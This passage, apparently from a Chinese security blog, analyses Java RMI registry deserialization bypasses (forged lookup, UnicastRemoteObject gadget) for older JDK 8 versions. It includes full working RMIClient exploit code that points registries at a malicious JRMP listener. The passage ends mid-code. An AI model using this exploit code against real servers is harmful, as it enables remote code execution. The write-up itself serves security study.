java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252) at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375) at sun.rmi.transport.DGCImpl_Stub.dirty(DGCImpl_Stub.java:109) at sun.rmi.transport.DGCClient$EndpointEntry.makeDirtyCall(DGCClient.java:377) at sun.rmi.transport.DGCClient$EndpointEntry.registerRefs(DGCClient.java:319) at sun.rmi.transport.DGCClient.registerRefs(DGCClient.java:155) at sun.rmi.transport.ConnectionInputStream.registerRefs(ConnectionInputStream.java:102) at sun.rmi.transport.StreamRemoteCall.releaseInputStream(StreamRemoteCall.java:157) at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:80) at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.Transport.serviceCall(Transport.java:196) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.1752546957.run(Unknown Source:-1) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) at java.lang.Thread.run(Thread.java:844)
伪造 lookup 调用(8u231 前) 然而这个方法只能在本地成功,这是因为高版本 RMI 的 RegistryImpl_Skel#dispatch
在执行 bind
、rebind
、unbind
操作之前会判断客户端的 IP 和本机 IP 是否相同。
1 2 3 4 5 6 switch (opnum) { case 0 : { RegistryImpl.checkAccess("Registry.bind" );
例如 bind
操作调用 checkAccess
进行了检测,这里传入的字符串参数仅是用于构造报错信息的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 public static void checkAccess (String op) throws AccessException { try { final String clientHostName = getClientHost(); InetAddress clientHost; try { clientHost = java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<InetAddress>() { public InetAddress run () throws java.net.UnknownHostException { return InetAddress.getByName(clientHostName); } }); } catch (PrivilegedActionException pae) { throw (java.net.UnknownHostException) pae.getException(); } if (allowedAccessCache.get(clientHost) == null ) { if (clientHost.isAnyLocalAddress()) { throw new AccessException (op + " disallowed; origin unknown" ); } try { final InetAddress finalClientHost = clientHost; java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<Void>() { public Void run () throws java.io.IOException { (new ServerSocket (0 , 10 , finalClientHost)).close(); allowedAccessCache.put(finalClientHost, finalClientHost); return null ; } }); } catch (PrivilegedActionException pae) { throw new AccessException ( op + " disallowed; origin " + clientHost + " is non-local host" ); } } } catch (ServerNotActiveException ex) { } catch (java.net.UnknownHostException ex) { throw new AccessException (op + " disallowed; origin is unknown host" ); } }
当然 list
、lookup
这些客户端正常使用的功能就没有这个限制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 case 1 : { call.releaseInputStream(); java.lang.String[] $result = server.list(); try { java.io.ObjectOutput out = call.getResultStream(true ); out.writeObject($result); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; } case 2 : { java.lang.String $param_String_1; try { java.io.ObjectInput in = call.getInputStream(); $param_String_1 = (java.lang.String) in.readObject(); } catch (java.io.IOException | java.lang.ClassNotFoundException e) { throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } java.rmi.Remote $result = server.lookup($param_String_1); try { java.io.ObjectOutput out = call.getResultStream(true ); out.writeObject($result); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; }
list
功能没有参数直接排除;而如果客户端直接调用 lookup
,只能传递字符串。
不过我们可以直接按 RegistryImpl_Stub
的格式手写一个 lookup
方法,使其接受任意 Object
,同时把 opnum
置为 2
(lookup
的编号),这样就能在远程正常执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import java.io.ObjectOutput;import java.lang.reflect.Field;import java.rmi.NotBoundException;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.Operation;import java.rmi.server.ObjID;import java.rmi.server.RemoteCall;import java.rmi.server.RemoteObject;import java.rmi.server.RemoteObjectInvocationHandler;import java.rmi.server.RemoteRef;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;public class RMIClient { public static void main (String[] args) throws Exception { String regHost = "127.0.0.1" ; int regPort = 1099 ; Registry registry = LocateRegistry.getRegistry(regHost, regPort); System.out.println("[*] Connected to Registry " + regHost + ":" + regPort); Object payload = buildUnicastRefStub("127.0.0.1" , 12233 ); lookupInject(registry, payload); System.out.println("[*] lookup injection sent." ); } public static Remote lookupInject (Registry registry, Object obj) throws Exception { RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref" ); long interfaceHash = toLong(getFieldValue(registry, "interfaceHash" )); Operation[] operations = (Operation[]) getFieldValue(registry, "operations" ); RemoteCall call = ref.newCall((RemoteObject) registry, operations, 2 , interfaceHash); try { try { ObjectOutput out = call.getOutputStream(); out.writeObject(obj); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); return null ; } catch (RuntimeException | RemoteException | NotBoundException e) { if (e instanceof RemoteException || e instanceof ClassCastException) { return null ; } else { throw e; } } catch (Exception e) { throw new java .rmi.UnexpectedException("undeclared checked exception" , e); } finally { ref.done(call); } } public static Object buildUnicastRefStub (String host, int port) { ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler h = new RemoteObjectInvocationHandler (ref); return java.lang.reflect.Proxy.newProxyInstance( RMIClient.class.getClassLoader(), new Class []{ Remote.class }, h ); } public static Object getFieldValue (Object o, String name) throws Exception { Class<?> c = o.getClass(); while (c != null ) { try { Field f = c.getDeclaredField(name); f.setAccessible(true ); return f.get(o); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } throw new NoSuchFieldException (name); } private static long toLong (Object v) { if (v instanceof Long) return (Long) v; return Long.parseLong(String.valueOf(v)); } }
攻击流程如下:
sequenceDiagram
autonumber
%% ── 不同进程分组(带背景色) ──
box rgb(230,242,255) 攻击者客户端(进程A)
participant A as 攻击者客户端
end
box rgb(232,245,233) 注册中心(进程B)
participant R_Skel as RegistryImpl_Skel / Skeleton
participant R_CIS as ConnectionInputStream
participant R_DGC as DGCClient(Registry内)
end
box rgb(255,243,224) 恶意JRMPListener(进程C)
participant L as JRMPListener
end
%% ── 背景提示:bind 仅本地 ──
note over A,R_Skel: 🔒 高版本:bind/rebind/unbind 需本机来源(checkAccess) lookup/list 无此限制,可远程触发
%% ── 伪造 lookup 调用 ──
A->>R_Skel: 伪造 newCall(op=lookup/2),out.writeObject(任意对象) 🎯
A->>R_Skel: invoke()
R_Skel->>R_CIS: getInputStream()
alt 旧版处理参数:readObject → 再强转 String
R_Skel->>R_CIS: in.readObject()(先反序列化)⏩
opt 可选防护:JEP 290(ObjectInputFilter)🛡️
R_CIS->>R_CIS: 类名/深度/数组/引用数检查
alt 过滤拒绝
R_Skel-->>A: InvalidClassException / UnmarshalException 🚫
else 过滤通过
note right of R_CIS: RemoteObject.readObject → UnicastRef.readExternal → LiveRef.read(...) → saveRef(liveRef) 📦
end
end
R_Skel-->>A: 随后强转 String 失败 → ClassCastException/UnmarshalException ⚠️
else 新版处理参数:SharedSecrets.readString(in) 🛡️
R_Skel->>R_Skel: 仅接受 TC_STRING / TC_LONGSTRING
alt 来的是 TC_OBJECT 等非字符串
R_Skel-->>A: 非字符串标记 → 直接异常(不构造任意对象) ✅🚫
else 纯字符串
R_Skel->>R_Skel: 正常继续 lookup 流程 ✅
end
end
%% ── 收尾与 DGC 联动(仅当注入对象是 Stub 才发生) ──
R_Skel-->>R_CIS: finally: releaseInputStream() 🧹
alt 注入对象是 Stub(含 UnicastRef/LiveRef)
note right of R_CIS: saveRef(liveRef) 已在读取时完成;此处批量上报 🔁
R_CIS->>R_DGC: registerRefs(endpoint, [liveRef...]) 🔁
R_DGC->>L: JRMP 调用 DGC.dirty(ObjID[], Lease请求) 🌐
note over R_DGC,L: 返回值路径受版本/策略影响: 正常返回走 leaseFilter 白名单 🛡️; 异常返回可能更早触发反序列化 ⚠️
else 注入对象非 Stub
note right of R_CIS: 无 DGC 联动(无 LiveRef) ✅
end
调用堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:439 ) at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361 ) at java.net.URL.hashCode(URL.java:957 ) at java.util.HashMap.hash(HashMap.java:339 ) at java.util.HashMap.readObject(HashMap.java:1462 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:564 ) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160 ) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207 ) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078 ) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585 ) at java.io.ObjectInputStream.access$300 (ObjectInputStream.java:222 ) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525 ) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602 ) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:564 ) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160 ) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207 ) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078 ) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585 ) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422 ) at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252 ) at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375 ) at sun.rmi.transport.DGCImpl_Stub.dirty(DGCImpl_Stub.java:109 ) at sun.rmi.transport.DGCClient$EndpointEntry.makeDirtyCall(DGCClient.java:377 ) at sun.rmi.transport.DGCClient$EndpointEntry.registerRefs(DGCClient.java:319 ) at sun.rmi.transport.DGCClient.registerRefs(DGCClient.java:155 ) at sun.rmi.transport.ConnectionInputStream.registerRefs(ConnectionInputStream.java:102 ) at sun.rmi.transport.StreamRemoteCall.releaseInputStream(StreamRemoteCall.java:157 ) at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:113 ) at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467 ) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297 ) at sun.rmi.transport.Transport$1. run(Transport.java:200 ) at sun.rmi.transport.Transport$1. run(Transport.java:197 ) at java.security.AccessController.doPrivileged(AccessController.java:-1 ) at sun.rmi.transport.Transport.serviceCall(Transport.java:196 ) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567 ) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800 ) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:682 ) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.2071178362 .run(Unknown Source:-1 ) at java.security.AccessController.doPrivileged(AccessController.java:-1 ) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681 ) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167 ) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641 ) at java.lang.Thread.run(Thread.java:844 )
注意这里因为 RegistryImpl_Skel.dispatch
是通过 readObject
反序列化字符串对象,然后再强转成字符串。因此这里支持我们传入任意对象触发反序列化。
1 2 3 java.lang.String s; ObjectInput in = call.getInputStream();s = (java.lang.String) in.readObject();
然而高版本 把它改成了只读“字符串标签”的内部 API:
1 2 ObjectInputStream in = (ObjectInputStream) call.getInputStream();s = SharedSecrets.getJavaObjectInputStreamReadString().readString(in);
这个 readString
只接受 TC_STRING/TC_LONGSTRING
(或对已有字符串的引用) 。如果来的是 TC_OBJECT
等非字符串标记,不会去构造任意对象 ,而是直接异常(代码里还会 discardPendingRefs()
清理)。因此**不会进入攻击者对象的 readObject
/readResolve
/readExternal
**。
UnicastRemoteObject 反序列化(8u241 前) JDK 8u231
修复了 DGCImpl_Stub
,在 clean
和 dirty
的反序列化前设置了过滤器 DGCImpl_Stub::leaseFilter
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public java.rmi.dgc.Lease dirty (java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3) throws java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this , operations, 1 , interfaceHash); call.setObjectInputFilter(DGCImpl_Stub::leaseFilter); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_arrayOf_ObjID_1); out.writeLong($param_long_2); out.writeObject($param_Lease_3); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call);
DGCImpl_Stub::leaseFilter
实现如下,总之高版本无法通过 DGC 欺骗的方式进行反序列化利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 private static ObjectInputFilter.Status leaseFilter (ObjectInputFilter.FilterInfo filterInfo) { if (filterInfo.depth() > DGCCLIENT_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null ) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGCCLIENT_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { return ObjectInputFilter.Status.ALLOWED; } return (clazz == UID.class || clazz == VMID.class || clazz == Lease.class || (Throwable.class.isAssignableFrom(clazz) && clazz.getClassLoader() == Object.class.getClassLoader()) || clazz == StackTraceElement.class || clazz == ArrayList.class || clazz == Object.class || clazz.getName().equals("java.util.Collections$UnmodifiableList" ) || clazz.getName().equals("java.util.Collections$UnmodifiableCollection" ) || clazz.getName().equals("java.util.Collections$UnmodifiableRandomAccessList" )) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } return ObjectInputFilter.Status.UNDECIDED; }
国外安全研究人员 @An Trinhs
发现了一个 gadgets
利用链,能够直接反序列化 UnicastRemoteObject
造成反序列化漏洞。
当我们反序列化 UnicastRemoteObject
这个类时,由于该类重写了 readObject
方法,所以在反序列化的时候会调用到他的 reexport
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void readObject (java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException { in.defaultReadObject(); reexport(); }
在 reexport
方法里,如果 ssf
是被我们设置了值,那么进入 else
判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void reexport () throws RemoteException { if (csf == null && ssf == null ) { exportObject((Remote) this , port); } else { exportObject((Remote) this , port, csf, ssf); } }
接着调用 exportObject
方法,该方法通常用来导出远程对象。和前面远程对象导出的过程一致。
TCPTransoprt#exportObject
调用 listen
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public void exportObject (Target target) throws RemoteException { synchronized (this ) { listen(); exportCount++; } boolean ok = false ; try { super .exportObject(target); ok = true ; } finally { if (!ok) { synchronized (this ) { decrementExportCount(); } } } }
继续跟进 listen
方法,跟进 TCPEndpoint#newServerSocket
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private void listen () throws RemoteException { assert Thread.holdsLock(this ); TCPEndpoint ep = getEndpoint(); int port = ep.getPort(); if (server == null ) { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "(port " + port + ") create server socket" ); } try { server = ep.newServerSocket(); Thread t = AccessController.doPrivileged( new NewThreadAction ( new AcceptLoop (server), "TCP Accept-" + port, true ) ); t.start(); } catch (java.net.BindException e) { throw new ExportException ("Port already in use: " + port, e); } catch (IOException e) { throw new ExportException ("Listen failed on port: " + port, e); } } else { SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkListen(port); } } }
在 TCPEndpoint#newServerSocket
方法中,如果我们把 ssf
设置为通过 RemoteObjectInvocationHandler
生成的代理类,那么就会调用到 RemoteObjectInvocationHandler#invoke
方法,从而发起一次远程调用 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ServerSocket newServerSocket () throws IOException { if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) { TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this ); } RMIServerSocketFactory serverFactory = ssf; if (serverFactory == null ) { serverFactory = chooseFactory(); } ServerSocket server = serverFactory.createServerSocket(listenPort); if (listenPort == 0 ) setDefaultPort(server.getLocalPort(), csf, ssf); return server; }
在 invoke
方法中,检测声明方法的类,如果不为 Object
,进入 invokeRemoteMethod
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (! Proxy.isProxyClass(proxy.getClass())) { throw new IllegalArgumentException ("not a proxy" ); } if (Proxy.getInvocationHandler(proxy) != this ) { throw new IllegalArgumentException ("handler mismatch" ); } if (method.getDeclaringClass() == Object.class) { return invokeObjectMethod(proxy, method, args); } else if ("finalize" .equals(method.getName()) && method.getParameterCount() == 0 ) { return null ; } else { return invokeRemoteMethod(proxy, method, args); } }
invokeRemoteMethod
方法首先检测 Proxy
的是否实现 Remote
接口,这里是我们能控制的,因为在创建代理类的时候就需要指定实现的接口。
这里的 ref
被赋值为 UnicastRef
,并且存有恶意服务端(这里我们的注册中心一端转变成客户端,而恶意监听的一端相当于服务端)的 tcp
信息,这里是我们在序列化数据的时候设置的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException ("proxy not Remote instance" ); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { } }
和之前一样,如果我们远端的恶意服务器返回一个异常(TransportConstants.ExceptionalReturn
)返回类型,并且返回一个恶意反序列化对象,则会在 StreamRemoteCall#executeCall
接收返回结果时触发反序列化。并且这里全程没有设置反序列化过滤器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public Object invoke (Remote obj, Method method, Object[] params, long opnum) throws Exception { call.executeCall(); } public void executeCall () throws Exception { byte returnType; DGCAckHandler ackHandler = null ; try { if (out != null ) { ackHandler = out.getDGCAckHandler(); } releaseOutputStream(); DataInputStream rd = new DataInputStream (conn.getInputStream()); byte op = rd.readByte(); if (op != TransportConstants.Return) { if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + op); } throw new UnmarshalException ("Transport return code invalid" ); } getInputStream(); returnType = in.readByte(); in.readID(); } catch (UnmarshalException e) { throw e; } catch (IOException e) { throw new UnmarshalException ("Error unmarshaling return header" , e); } finally { if (ackHandler != null ) { ackHandler.release(); } } switch (returnType) { case TransportConstants.NormalReturn: break ; case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { throw new UnmarshalException ("Error unmarshaling return" , e); } } }
sequenceDiagram
autonumber
%% ── 不同进程分组(带背景色) ──
box rgb(230,242,255) 攻击者客户端(进程A)
participant A as 攻击者客户端
end
box rgb(232,245,233) 注册中心(进程B)
participant S as RegistryImpl_Skel / Skeleton
participant OIS as ObjectInputStream
participant T as TCPTransport / TCPEndpoint / StreamRemoteCall
end
box rgb(255,243,224) 恶意JRMPListener(进程C)
participant L as JRMPListener
end
%% ── 攻击端准备 ──
A->>A: 构造 payload = UnicastRemoteObject (ssf = Proxy[RMIServerSocketFactory, Remote] → RemoteObjectInvocationHandler(ref=UnicastRef[LiveRef→TCPEndpoint(L)]))
A->>S: 伪造 lookup(opnum=2, arg=payload)
note right of A: 通过 ref.newCall(..., opnum=2) out = call.getOutputStream() **反射** set enableReplace=false out.writeObject(payload)
%% ── 服务器端反序列化触发 reexport ──
S->>OIS: getInputStream()
S->>OIS: in.readObject() 反序列化 payload
note right of OIS: UnicastRemoteObject.readObject → defaultReadObject → **reexport()**(依据恢复的 port/csf/ssf)
%% ── reexport 导出并监听 → 触发 ssf 远调 ──
S->>T: exportObject(...) → listen()
T->>T: TCPEndpoint.newServerSocket()
T->>L: ssf.createServerSocket(port) (经 Remote 动态代理 → JRMP 远程调用)
alt 正常返回(NormalReturn) ✅
L-->>T: 正常返回(ServerSocket 信息)
T-->>S: 继续导出;无利用发生
else 异常返回(ExceptionalReturn) ⚠️
L-->>T: 返回异常 + 恶意对象(gadget)
T->>T: StreamRemoteCall.executeCall() 读取返回头
T->>T: in.readObject() 反序列化异常对象
note over T: 此链路**未设置** ObjectInputFilter(不同于 DGC 的 leaseFilter) → 可能触发 gadget 链 🧨
T-->>S: 抛 UnexpectedException / UnmarshalException(事后)
end
S-->>A: lookup 抛异常(类型不匹配/Unexpected) 但**副作用已发生**
需要注意的是这里远程调用时 writeObject
序列化类的 ObjectOutputStream
实际上是 RMI 的 sun.rmi.server.MarshalOutputStream
。
如果直接将我们构造的 UnicastRemoteObject
反序列化会有下面这个调用链:
1 2 3 4 at sun.rmi.server.MarshalOutputStream.replaceObject(MarshalOutputStream.java:81) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1145) at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:349) at org.example.RMIClient.lookupInject(RMIClient.java:63)
在 writeObject0
中如果 enableReplace
为 true
则会调用 replaceObject
函数对我们要序列化的对象做转换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (enableReplace) { Object rep = replaceObject(obj); if (rep != obj && rep != null ) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true ); } obj = rep; }
MarshalOutputStream
在构造的时候默认会设置 enableReplaceObject
为 true
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public MarshalOutputStream (OutputStream out, int protocolVersion) throws IOException { super (out); this .useProtocolVersion(protocolVersion); java.security.AccessController.doPrivileged( new java .security.PrivilegedAction<Void>() { public Void run () { enableReplaceObject(true ); return null ; } } ); }
而在 MarshalOutputStream#replaceObject
中,如果我们反序列化的对象实现了 Remote
且对象本身还不是一个 RemoteStub
时会进行替换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @SuppressWarnings("deprecation") protected final Object replaceObject (Object obj) throws IOException { if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) { Target target = ObjectTable.getTarget((Remote) obj); if (target != null ) { return target.getStub(); } } return obj; }
由于 UnicastRemoteObject
实现了 Remote
,没有实现 RemoteStub
,于是会进入判断,就会替换我们的obj
,以至于反序列化的时候不能还原我们构造的类。
解决方法是在 writeObject
序列化对象前设置 enableReplace
为 false
。
1 2 3 ObjectOutput out = call.getOutputStream();setFieldValue(out, "enableReplace" , false ); out.writeObject(obj);
完整的 RMIClient
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 import java.io.ObjectOutput;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.rmi.NotBoundException;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.*;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;public class RMIClient { public static void main (String[] args) throws Exception { String regHost = "127.0.0.1" ; int regPort = 1099 ; Registry registry = LocateRegistry.getRegistry(regHost, regPort); System.out.println("[*] Connected to Registry " + regHost + ":" + regPort); Object payload = buildUnicastRemoteObject("127.0.0.1" , 12233 ); lookupInject(registry, payload); System.out.println("[*] lookup injection sent." ); } public static Remote lookupInject (Registry registry, Object obj) throws Exception { RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref" ); long interfaceHash = toLong(getFieldValue(registry, "interfaceHash" )); Operation[] operations = (Operation[]) getFieldValue(registry, "operations" ); RemoteCall call = ref.newCall((RemoteObject) registry, operations, 2 , interfaceHash); try { try { ObjectOutput out = call.getOutputStream(); setFieldValue(out, "enableReplace" , false ); out.writeObject(obj); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); return null ; } catch (RuntimeException | RemoteException | NotBoundException e) { if (e instanceof RemoteException || e instanceof ClassCastException) { return null ; } else { throw e; } } catch (Exception e) { throw new java .rmi.UnexpectedException("undeclared checked exception" , e); } finally { ref.done(call); } } static Object buildUnicastRemoteObject (String ip, int port) throws Exception { ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (ip, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler (ref); RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance( RMIServerSocketFactory.class.getClassLoader(), new Class []{ RMIServerSocketFactory.class, Remote.class }, remoteObjectInvocationHandler); Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor((Class<?>[]) null ); constructor.setAccessible(true ); UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance((Object[]) null ); Field ssfField = UnicastRemoteObject.class.getDeclaredField("ssf" ); ssfField.setAccessible(true ); ssfField.set(remoteObject, rmiServerSocketFactory); return remoteObject; } public static Field getDeclaredField 